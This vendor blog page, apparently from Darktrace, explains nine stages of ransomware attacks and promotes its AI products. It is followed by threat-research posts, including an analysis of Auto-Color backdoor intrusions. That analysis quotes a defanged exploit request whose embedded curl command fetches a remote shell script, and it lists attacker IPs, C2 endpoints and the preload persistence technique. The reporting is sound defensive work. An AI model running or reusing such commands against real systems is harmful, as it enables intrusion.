Blog
/
Network
/
December 22, 2021

9 Stages of Ransomware & How AI Responds

Discover the 9 stages of ransomware attacks and how AI responds at each stage. Learn how you can protect your business from cyber threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
22
Dec 2021

Ransomware gets its name by commandeering and holding assets ransom, extorting their owner for money in exchange for discretion and full cooperation in returning exfiltrated data and providing decryption keys to allow business to resume.

Average ransom demands are skyrocketing, rising to $5.3 million in 2021, a 518% increase from the previous year. But the cost of recovering from a ransomware attack typically far exceeds the ransom payments: the average downtime after a ransomware attack is 21 days; and 66% of ransomware victims report a significant loss of revenue following a successful attack.

In this series, we break down this huge topic step by step. Ransomware is a multi-stage problem, requiring a multi-stage solution that autonomously and effectively contains the attack at any stage. Read on to discover how Self-Learning AI and Autonomous Response stops ransomware in its tracks.

1. Initial intrusion (email)

Initial entry – the first stage of a ransomware attack – can be achieved through RDP brute-forcing (exposed Internet service), malicious websites and drive-by downloads, an insider threat with company credentials, system and software vulnerabilities, or any number of other attack vectors.

But the most common initial attack vector is email. An organization’s biggest security weakness is often their people – and attackers are good at finding ways of exploiting this. Well-researched, targeted, legitimate-looking emails are aimed at employees attempting to solicit a reaction: a click of a link, an opening of an attachment, or persuading them to divulge credentials or other sensitive information.

Gateways: Stops what has been seen before

Most conventional email tools rely on past indicators of attack to try and spot the next threat. If an email comes in from a blocklisted IP address or email domain, and uses known malware that has previously been seen in the wild, the attack may be blocked.

But the reality is, attackers know the majority of defenses take this historical approach, and so constantly update their attack infrastructure to bypass these tools. By buying new domains for a few pennies each, or creating bespoke malware with just small adaptions to the code, they can outpace and outsmart the legacy approach taken by a typical email gateway.

Real-world example: Supply chain phishing attack

By contrast, Darktrace’s evolving understanding of ‘normal’ for every email user in the organization enables it to detect subtle deviations that point to a threat – even if the sender or any malicious contents of the email are unknown to threat intelligence. This is what enabled the technology to stop an attack that recently targeted McLaren Racing, with emails sent to a dozen employees in the organization each containing a malicious link. This possible precursor to ransomware bypassed conventional email tools – largely because it was sent from a known supplier – however Darktrace recognized the account hijack and held the email back.

Figure 1: A snapshot of Darktrace’s Threat Visualizer surfacing the malicious email

Read the full case study

2. Initial intrusion (server-side)

With organizations rapidly expanding their Internet-facing perimeter, this increased attack surface has paved the way for a surge in brute-force and server-side attacks.

A number of vulnerabilities against such Internet-facing servers and systems have been disclosed this year, and for attackers, targeting and exploiting public-facing infrastructure is easier than ever – scanning the Internet for vulnerable systems is made simple with tools like Shodan or MassScan.

Attackers may also achieve initial intrusion via RDP brute-forcing or stolen credentials, with attackers often reusing legitimate credentials from previous data dumps. This has much higher precision and is less noisy than a classic brute-force attack.

A lot of ransomware attacks use RDP as an entry vector. This is part of a wider trend of ‘Living off the Land’: using legitimate off-the-shelf tools (abusing RDP, SMB1 protocol, or various command line tools WMI or Powershell) to blur detection and attribution by blending in with typical administrator activity. Ensuring that backups are isolated, configurations are hardened, and systems are patched is not enough – real-time detection of every anomalous action is needed.

Antivirus, firewalls and SIEMs

In cases of malware downloads, endpoint antivirus will detect these if, and only if, the malware has been seen and fingerprinted before. Firewalls typically require configuration on a per-organization basis, and often need to be modified based on the needs of the business. If the attack hits the firewall where a rule or signature does not match it, again, it will bypass the firewall.

SIEM and SOAR tools also look for known malware being downloaded, leverage pre-programmed rules and use pre-programmed responses. While these tools do look for patterns, these patterns are defined in advance, and this approach relies on a new attack to have sufficiently similar traits to attacks that have been seen before.

Real-world example: Dharma ransomware

Darktrace detected a targeted Dharma ransomware attack against a UK organization exploiting an open RDP connection through Internet-facing servers. The RDP server began receiving a large number of incoming connections from rare IP addresses on the Internet. It is highly likely that the RDP credential used in this attack had been compromised at a previous stage – either via common brute-force methods, credential stuffing attacks, or phishing. Indeed, a technique growing in popularity is to buy RDP credentials on marketplaces and skip to initial access.

Figure 2: The model breaches that fired over the course of this attack, including anomalous RDP activity

Unfortunately, in this case, without Autonomous Response installed, the Dharma ransomware attack continued until its final stages, where the security team were forced into the heavy-handed and disruptive action of pulling the plug on the RDP server midway through encryption.

Read the full case study

3. Establish foothold and C2

Whether through a successful phish, a brute-force attack, or some other method, the attacker is in. Now, they make contact with the breached device(s) and establish a foothold.

This stage allows attackers to control subsequent stages of the attack remotely. During these command and control (C2) communications, further malware may also pass from the attacker to the devices. This helps them to establish an even greater foothold within the organization and readies them for lateral movement.

Attackers can adapt malware functionality with an assortment of ready-made plug-ins, allowing them to lie low inside the business undetected. More modern and sophisticated ransomware is able to adapt by itself to the surrounding environment, and operate autonomously, blending in to regular activity even when cut off from its command and control server. These ‘self-sufficient’ ransomware strains pose a big problem for traditional defenses reliant on stopping threats solely on the grounds of its malicious external connections.

Viewing connections in isolation vs understanding the business

Conventional security tools like IDS and firewalls tend to look at connections in isolation rather than in the context of previous and potentially relevant connections, making command and control very difficult to spot.

IDS and firewalls may block ‘known-bad’ domains or use some geo-blocking, but this is where an attacker would likely leverage new infrastructure.

These tools also don’t tend to analyze for things like the periodicity, such as whether a connection is beaconing at a regular or irregular interval, or the age and rarity of the domain in the context of the environment.

With Darktrace’s evolving understanding of the digital enterprise, suspicious C2 connections and the downloads which follow them are spotted, even when conducted using regular programs or methods. The AI technology correlates multiple subtle signs of threat – a small subset of which includes anomalous connections to young and/or unusual endpoints, anomalous file downloads, incoming remote desktop, and unusual data uploads and downloads.

Once they are detected as a threat, Darktrace's Autonomous Response halts these connections and downloads, while allowing normal business activity to continue.

Real-world example: WastedLocker attack

When a WastedLocker ransomware attack hit a US agricultural organization, Darktrace immediately detected the initial unusual SSL C2 activity (based on a combination of destination rarity, JA3 unusualness and frequency analysis). Antigena (on this occasion configured in passive mode, and therefore not granted permission to take autonomous action) suggested instantly blocking the C2 traffic on port 443 and parallel internal scanning on port 135.

Figure 3: The Threat Visualizer reveals the action Antigena would have taken

When beaconing was later observed to bywce.payment.refinedwebs[.]com, this time over HTTP to /updateSoftwareVersion, Antigena escalated its response by blocking the further C2 channels.

Figure 4: Antigena escalates its response

Read the full case study

4. Lateral movement

Once an attacker has established a foothold within an organization, they begin to increase their knowledge of the wider digital estate and their presence within it. This is how they will find and access the files which they will ultimately attempt to exfiltrate and encrypt. It begins reconnaissance: scanning the network; building up a picture of its component devices; identifying the location of the most valuable assets.

Then the attacker begins moving laterally. They infect more devices and look to escalate their privileges – for instance, by obtaining admin credentials – thereby increasing their control over the environment. Once they have obtained authority and presence within the digital estate, they can progress to the final stages of the attack.

Modern ransomware has built-in functions that allow it to search automatically for stored passwords and spread through the network. More sophisticated strains are designed to build themselves differently in different environments, so the signature is constantly changing and it’s harder to detect.

Legacy tools: A blunt response to known threats

Because they rely upon static rules and signatures, legacy solutions struggle to prevent lateral movement and privilege escalation without also impeding essential business operations. Whilst in theory, an organization leveraging firewalls and NAC internally with proper network segmentation and a perfect configuration could prevent cross-network lateral movement, maintaining a perfect balance between protective and disruptive controls is near impossible.

Some organizations rely on Intrusion Prevent Systems (IPS) to deny network traffic when known threats are detected in packets, but as with previous stages, novel malware will evade detection, and this requires the database to be constantly updated. These solutions also sit at the ingress/egress points, limiting their network visibility. An Intrusion Detection System (IDS) may sit out-of-line, but doesn’t have response capabilities.

A self-learning approach

Darktrace’s AI learns ‘self’ for the organization, enabling it to detect suspicious activity indicative of lateral movement, regardless of whether the attacker uses new infrastructure or ‘lives off the land’. Potential unusual activity that Darktrace detects includes unusual scanning activity, unusual SMB, RDP, and SSH activity. Other models that fire at this stage include:

  • Suspicious Activity on High-Risk Device
  • Numeric EXE in SMB Write
  • New or Uncommon Service Control

Autonomous Response then takes targeted action to stop the threat at this stage, blocking anomalous connections, enforcing the infected device’s ‘pattern of life’, or enforcing the group ‘pattern of life’ – automatically clustering devices into peer groups and preventing a device from doing anything its peer group hasn’t done.

Where malicious behavior persists, and only if necessary, Darktrace will quarantine an infected device.

Real-world example: Unusual chain of RDP connections

At an organization in Singapore, one compromised server led to the creation of a botnet, which began moving laterally, predominantly by establishing chains of unusual RDP connections. The server then started making external SMB and RPC connections to rare endpoints on the Internet, in an attempt to find further vulnerable hosts.

Other lateral movement activities detected by Darktrace included the repeated failing attempts to access multiple internal devices over the SMB file-sharing protocol with a range of different usernames, implying brute-force network access attempts.

Figure 5: Darktrace’s Cyber AI Analyst reveals suspicious TCP scanning followed by a suspicious chain of administrative RDP connections

Read the full case study

5. Data exfiltration

In the past, ransomware was simply about encrypting an operating system and network files.

In a modern attack, as organizations insure against malicious encryption by becoming increasingly diligent with data backups, threat actors have moved towards ‘double extortion’, where they exfiltrate key data and destroy backups before the encryption takes place. Exfiltrated data is used to blackmail organizations, with attackers threatening to publish sensitive information online or sell it on to the organization’s competitors if they are not paid.

Modern ransomware variants also look for cloud file storage repositories such as Box, Dropbox, and others.

Many of these incidents aren’t public, because if IP is stolen, organizations are not always legally required to disclose it. However, in the case of customer data, organizations are obligated by law to disclose the incident and face the additional burden of compliance files – and we’ve seen these mount in recent years (Marriot, $23.8 million; British Airways, $26 million; Equifax, $575 million). There’s also the reputational blow associated with having to inform customers that a data breach has occurred.

Legacy tools: The same old story

For those that have been following, the narrative by now will sound familiar: to stop a ransomware attack at this stage, most defenses rely on either pre-programmed definitions of 'bad' or have rules constructed to combat different scenarios put organizations in a risky, never-ending game of cat and mouse.

A firewall and proxy might block connections based on pre-programmed policies based on specific endpoints or data volumes, but it’s likely an attacker will ‘live off the land’ and utilize a service that is generally allowed by the business.

The effectiveness of these tools will vary according to data volumes: they might be effective for ‘smash and grab’ attacks using known malware, and without employing any defense evasion techniques, but are unlikely to spot ‘low and slow’ exfiltration and novel or sophisticated strains.

On the other hand, because by nature it involves a break from expected behavior, even less conspicuous, low and slow data exfiltration is detected by Darktrace and stopped with Darktrace's Autonomos Response. No confidential files are lost, and attackers are unable to extort a ransom payment through blackmail.

Real-world example: Unusual chain of RDP connections

It becomes more difficult to find examples of Darktrace stopping ransomware at these later stages, as the threat is usually contained before it gets this far. This is the double-edged sword of effective security – early containment makes for bad storytelling! However, we can see the effects of a double extortion ransomware attack on an energy company in Canada. The organization had the Enterprise Immune System but no Antigena, and without anyone actively monitoring Darktrace’s AI detections, the attack was allowed to unfold.

The attacker managed to connect to an internal file server and download 1.95TB of data. The device was also seen downloading Rclone software – an open-source tool, which was likely applied to sync data automatically to the legitimate file storage service pCloud. Following the completion of the data exfiltration, the device ‘serverps’ finally began encrypting files on 12 devices with the extension *.06d79000. As with the majority of ransomware incidents, the encryption happened outside of office hours – overnight in local time – to minimize the chance of the security team responding quickly.

Read the full details of the attack

It should be noted that the exact order of the stages 3–5 above is not set in stone, and varies according to attack. Sometimes data is exfiltrated and then there is further lateral movement, and additional C2 beaconing. This entire period is known as the ‘dwell time’. Sometimes it takes place over only a few days, other times attackers may persist for months, slowly gathering more intel and exfiltrating data in a ‘low and slow’ fashion so as to avoid detection from rule-based tools that are configured to flag any single data transfer over a certain threshold. Only through a holistic understanding of malicious activity over time can a technology spot this level of activity and allow the security team to remove the threat before it reaches the latter and most damaging stages of ransomware.

6. Data encryption

Using either symmetric encryption, asymmetric encryption, or a combination of the two, attackers attempt to render as much data unusable in the organization’s network as they can before the attack is detected.

As the attackers alone have access to the relevant decryption keys, they are now in total control of what happens to the organization’s data.

Pre-programmed response and disruption

There are many families of tools that claim to stop encryption in this manner, but each contain blind spots which enable a sophisticated attacker to evade detection at this crucial stage. Where they do take action, it is often highly disruptive, causing major shutdowns and preventing a business from continuing its usual operations.

Internal firewalls prevent clients from accessing servers, so once an attacker has penetrated to servers using any of the techniques outlined above, they have complete freedom to act as they want.

Similarly, antivirus tools look only for known malware. If the malware has not been detected until this point, it is highly unlikely the antivirus will act here.

Stopping encryption autonomously

Even if familiar tools and methods are used to conduct it, Autonomous Response can enforce the normal ‘pattern of life’ for devices attempting encryption, without using static rules or signatures. This action can be taken independently or via integrations with native security controls, maximizing the return on other security investments. With a targeted Autonomous Response, normal business operations can continue while encryption is prevented.

7. Ransom note

It is important to note that in the stages before encryption, this ransomware attack is not yet “ransomware”. Only at this stage does it gets its name.

A ransom note is deployed. The attackers request payment in return for a decryption key and threaten the release of sensitive exfiltrated data. The organization must decide whether to pay the ransom or lose their data, possibly to their competition or the public. The average demand made by ransomware threat actors rose in 2021 to $5.3 million, with meat processing company JBS paying out $11 million and DarkSide receiving over $90 million in Bitcoin payments following the Colonial Pipeline incident.

All of the stages up until this point represent a typical, traditional ransomware attack. But ransomware is shifting from indiscriminate encryption of devices to attackers targeting business disruption in general, using multiple techniques to hold their victims to ransom. Additional methods of extortion include not only data exfiltration, but corporate domain hijack, deletion or encryption of backups, attacks against systems close to industrial control systems, targeting company VIPs… the list goes on.

Sometimes, attackers will just skip straight from stage 2 to 6 and jump straight to extortion. Darktrace recently stopped an email attack which showed an attacker bypassing the hard work and attempting to jump straight to extortion in an email. The attacker claimed to have compromised the organization’s sensitive data, requesting payment in bitcoin for its same return. Whether or not the claims were true, this attack shows that encryption is not always necessary for extortion, and this type of harassment exists in multiple forms.

Figure 6: Darktrace holds back the offending email, protecting the recipient and organization from harm

As with the email example we explored in the first post of this series, Darktrace/Email was able to step in and stop this email where other email tools would have let it through, stopping this potentially costly extortion attempt.

Whether through encryption or some other kind of blackmail, the message is the same every time. Pay up, or else. At this stage, it’s too late to start thinking about any of the options described above that were available to the organization, that would have stopped the attack in its earliest stages. There is only one dilemma. “To pay or not to pay” – that is the question.

Often, people believe their payment troubles are over after the ransom payment stage, but unfortunately, it’s just beginning to scratch the surface…

8. Clean-up

Efforts are made to try to secure the vulnerabilities which allowed the attack to happen initially – the organization should be conscious that approximately 80% of ransomware victims will in fact be targeted again in the future.

Legacy tools largely fail to shed light on the vulnerabilities which allowed the initial breach. Like searching for a needle in an incomplete haystack, security teams will struggle to find useful information within the limited logs offered by firewalls and IDSs. Antivirus solutions may reveal some known malware but fail to spot novel attack vectors.

With Darktrace’s Cyber AI Analyst, organizations are given full visibility over every stage of the attack, across all coverage areas of their digital estate, taking the mystery out of ransomware attacks. They are also able to see the actions that would have been taken to halt the attack by Darktrace RESPOND.

9. Recovery

The organization begins attempts to return its digital environment to order. Even if it has paid for a decryption key, many files may remain encrypted or corrupted. Beyond the costs of the ransom payment, network shutdowns, business disruption, remediation efforts, and PR setbacks all incur hefty financial losses.

The victim organization may also suffer additional reputation costs, with 66% of victims reporting a significant loss of revenue following a ransomware attack, and 32% reporting losing C-level talent as a direct result from ransomware.

Conclusion

While the high-level stages described above are common in most ransomware attacks, the minute you start looking at the details, you realize every ransomware attack is different.

As many targeted ransomware attacks come through ransomware affiliates, the Tools, Techniques and Procedures (TTPs) displayed during intrusions vary widely, even when the same ransomware malware is used. This means that even comparing two different ransomware attacks using the same ransomware family, you are likely to encounter completely different TTPs. This makes it impossible to predict what tomorrow’s ransomware will look like.

This is the nail in the coffin for traditional tooling which is based on historic attack data. The above examples demonstrate that Self-Learning technology and Autonomous Response is the only solution that stops ransomware at every stage, across email and network.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product

More in this series

No items found.

Blog

/

/

August 1, 2025

Darktrace's Cyber AI Analyst in Action: 4 Real-World Investigations into Advanced Threat Actors

Man looking at computer doing work, cybersecurity, AI, AI analystDefault blog imageDefault blog image

From automation to intelligence

There’s a lot of attention around AI in cybersecurity right now, similar to how important automation felt about 15 years ago. But this time, the scale and speed of change feel different.

In the context of cybersecurity investigations, the application of AI can significantly enhance an organization's ability to detect, respond to, and recover from incidents. It enables a more proactive approach to cybersecurity, ensuring a swift and effective response to potential threats.

At Darktrace, we’ve learned that no single AI technique can solve cybersecurity on its own. We employ a multi-layered AI approach, strategically integrating a diverse set of techniques both sequentially and hierarchically. This layered architecture allows us to deliver proactive, adaptive defense tailored to each organization’s unique environment.

Darktrace uses a range of AI techniques to perform in-depth analysis and investigation of anomalies identified by lower-level alerts, in particular automating Levels 1 and 2 of the Security Operations Centre (SOC) team’s workflow. This saves teams time and resources by automating repetitive and time-consuming tasks carried out during investigation workflows. We call this core capability Cyber AI Analyst.

How Darktrace’s Cyber AITM Analyst works

Cyber AI Analyst mimics the way a human carries out a threat investigation: evaluating multiple hypotheses, analyzing logs for involved assets, and correlating findings across multiple domains. It will then generate an alert with full technical details, pulling relevant findings into a single pane of glass to track the entire attack chain.

Learn more about how Cyber AI Analyst accomplishes this here:

This blog will highlight four examples where Darktrace’s agentic AI, Cyber AI Analyst, successfully identified the activity of sophisticated threat actors, including nation state adversaries. The final example will include step-by-step details of the investigations conducted by Cyber AI Analyst.

[related-resource]

Case 1: Cyber AI Analyst vs. ShadowPad Malware: East Asian Advanced Persistent Threat (APT)

In March 2025, Darktrace detailed a lengthy investigation into two separate threads of likely state-linked intrusion activity in a customer network, showcasing Cyber AI Analyst’s ability to identify different activity threads and piece them together.

The first of these threads...

occurred in July 2024 and involved a malicious actor establishing a foothold in the customer’s virtual private network (VPN) environment, likely via the exploitation of an information disclosure vulnerability (CVE-2024-24919) affecting Check Point Security Gateway devices.

Using compromised service account credentials, the actor then moved laterally across the network via RDP and SMB, with files related to the modular backdoor ShadowPad being delivered to targeted internal systems. Targeted systems went on to communicate with a C2 server via both HTTPS connections and DNS tunnelling.

The second thread of activity...

Which occurred several months earlier in October 2024, involved a malicious actor infiltrating the customer's desktop environment via SMB and WMI.

The actor used these compromised desktops to discriminately collect sensitive data from a network share before exfiltrating such data to a web of likely compromised websites.

For each of these threads of activity, Cyber AI Analyst was able to identify and piece together the relevant intrusion steps by hypothesizing, analyzing, and then generating a singular view of the full attack chain.

Cyber AI Analyst identifying and piecing together the various steps of the ShadowPad intrusion activity.
Figure 1: Cyber AI Analyst identifying and piecing together the various steps of the ShadowPad intrusion activity.
Cyber AI Analyst Incident identifying and piecing together the various steps of the data theft activity.
Figure 2: Cyber AI Analyst Incident identifying and piecing together the various steps of the data theft activity.

These Cyber AI Analyst investigations enabled a quicker understanding of the threat actor’s sequence of events and, in some cases, led to faster containment.

Read the full detailed blog on Darktrace’s ShadowPad investigation here!

Case 2: Cyber AI Analyst vs. Blind Eagle: South American APT

Since 2018, APT-C-36, also known as Blind Eagle, has been observed performing cyber-attacks targeting various sectors across multiple countries in Latin America, with a particular focus on Colombia.

In February 2025, Cyber AI Analyst provided strong coverage of a Blind Eagle intrusion targeting a South America-based public transport provider, identifying and correlating various stages of the attack, including tooling.

Cyber AI Analyst investigation linking likely Remcos C2 traffic, a suspicious file download, and eventual data exfiltration.Type image caption here (optional)
Figure 3: Cyber AI Analyst investigation linking likely Remcos C2 traffic, a suspicious file download, and eventual data exfiltration.Type image caption here (optional)
Cyber AI Analyst identifying unusual data uploads to another likely Remcos C2 endpoint and correlated each of the individual detections involved in this compromise, identifying them as part of a broader incident that encompassed C2 connectivity, suspicious downloads, and external data transfers.
Figure 4: Cyber AI Analyst identifying unusual data uploads to another likely Remcos C2 endpoint and correlated each of the individual detections involved in this compromise, identifying them as part of a broader incident that encompassed C2 connectivity, suspicious downloads, and external data transfers.

In this campaign, threat actors have been observed using phishing emails to deliver malicious URL links to targeted recipients, similar to the way threat actors have previously been observed exploiting CVE-2024-43451, a vulnerability in Microsoft Windows that allows the disclosure of a user’s NTLMv2 password hash upon minimal interaction with a malicious file [4].

In late February 2025, Darktrace observed activity assessed with medium confidence to be associated with Blind Eagle on the network of a customer in Colombia. Darktrace observed a device on the customer’s network being directed over HTTP to a rare external IP, namely 62[.]60[.]226[.]112, which had never previously been seen in this customer’s environment and was geolocated in Germany.

Read the full Blind Eagle threat story here!

Case 3: Cyber AI Analyst vs. Ransomware Gang

In mid-March 2025, a malicious actor gained access to a customer’s network through their VPN. Using the credential 'tfsservice', the actor conducted network reconnaissance, before leveraging the Zerologon vulnerability and the Directory Replication Service to obtain credentials for the high-privilege accounts, ‘_svc_generic’ and ‘administrator’.

The actor then abused these account credentials to pivot over RDP to internal servers, such as DCs. Targeted systems showed signs of using various tools, including the remote monitoring and management (RMM) tool AnyDesk, the proxy tool SystemBC, the data compression tool WinRAR, and the data transfer tool WinSCP.

The actor finally collected and exfiltrated several gigabytes of data to the cloud storage services, MEGA, Backblaze, and LimeWire, before returning to attempt ransomware detonation.

Figure 5: Cyber AI Analyst detailing its full investigation, linking 34 related Incident Events in a single pane of glass.

Cyber AI Analyst identified, analyzed, and reported on all corners of this attack, resulting in a threat tray made up of 34 Incident Events into a singular view of the attack chain.

Cyber AI Analyst identified activity associated with the following tactics across the MITRE attack chain:

  • Initial Access
  • Persistence
  • Privilege Escalation
  • Credential Access
  • Discovery
  • Lateral Movement
  • Execution
  • Command and Control
  • Exfiltration

Case 4: Cyber AI Analyst vs Ransomhub

Cyber AI Analyst presenting its full investigation into RansomHub, correlating 38 Incident Events.
Figure 6: Cyber AI Analyst presenting its full investigation into RansomHub, correlating 38 Incident Events.

A malicious actor appeared to have entered the customer’s network their VPN, using a likely attacker-controlled device named 'DESKTOP-QIDRDSI'. The actor then pivoted to other systems via RDP and distributed payloads over SMB.

Some systems targeted by the attacker went on to exfiltrate data to the likely ReliableSite Bare Metal server, 104.194.10[.]170, via HTTP POSTs over port 5000. Others executed RansomHub ransomware, as evidenced by their SMB-based distribution of ransom notes named 'README_b2a830.txt' and their addition of the extension '.b2a830' to the names of files in network shares.

Through its live investigation of this attack, Cyber AI Analyst created and reported on 38 Incident Events that formed part of a single, wider incident, providing a full picture of the threat actor’s behavior and tactics, techniques, and procedures (TTPs). It identified activity associated with the following tactics across the MITRE attack chain:

  • Execution
  • Discovery
  • Lateral Movement
  • Collection
  • Command and Control
  • Exfiltration
  • Impact (i.e., encryption)
Step-by-step details of one of the network scanning investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 7: Step-by-step details of one of the network scanning investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the administrative connectivity investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 8: Step-by-step details of one of the administrative connectivity investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
 Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace. Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 9: Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the data collection and exfiltration investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 10: Step-by-step details of one of the data collection and exfiltration investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the ransomware encryption investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 11: Step-by-step details of one of the ransomware encryption investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.

Conclusion

Security teams are challenged to keep up with a rapidly evolving cyber-threat landscape, now powered by AI in the hands of attackers, alongside the growing scope and complexity of digital infrastructure across the enterprise.

Traditional security methods, even those that use some simple machine learning, are no longer sufficient, as these tools cannot keep pace with all possible attack vectors or respond quickly enough machine-speed attacks, given their complexity compared to known and expected patterns. Security teams require a step up in their detection capabilities, leveraging machine learning to understand the environment, filter out the noise, and take action where threats are identified. This is where Cyber AI Analyst steps in to help.

Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISO), Sam Lister (Security Researcher), Emma Foulger (Global Threat Research Operations Lead), and Ryan Traill (Analyst Content Lead)

[related-resource]

Continue reading
About the author

Blog

/

Network

/

July 30, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

Default blog imageDefault blog image

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

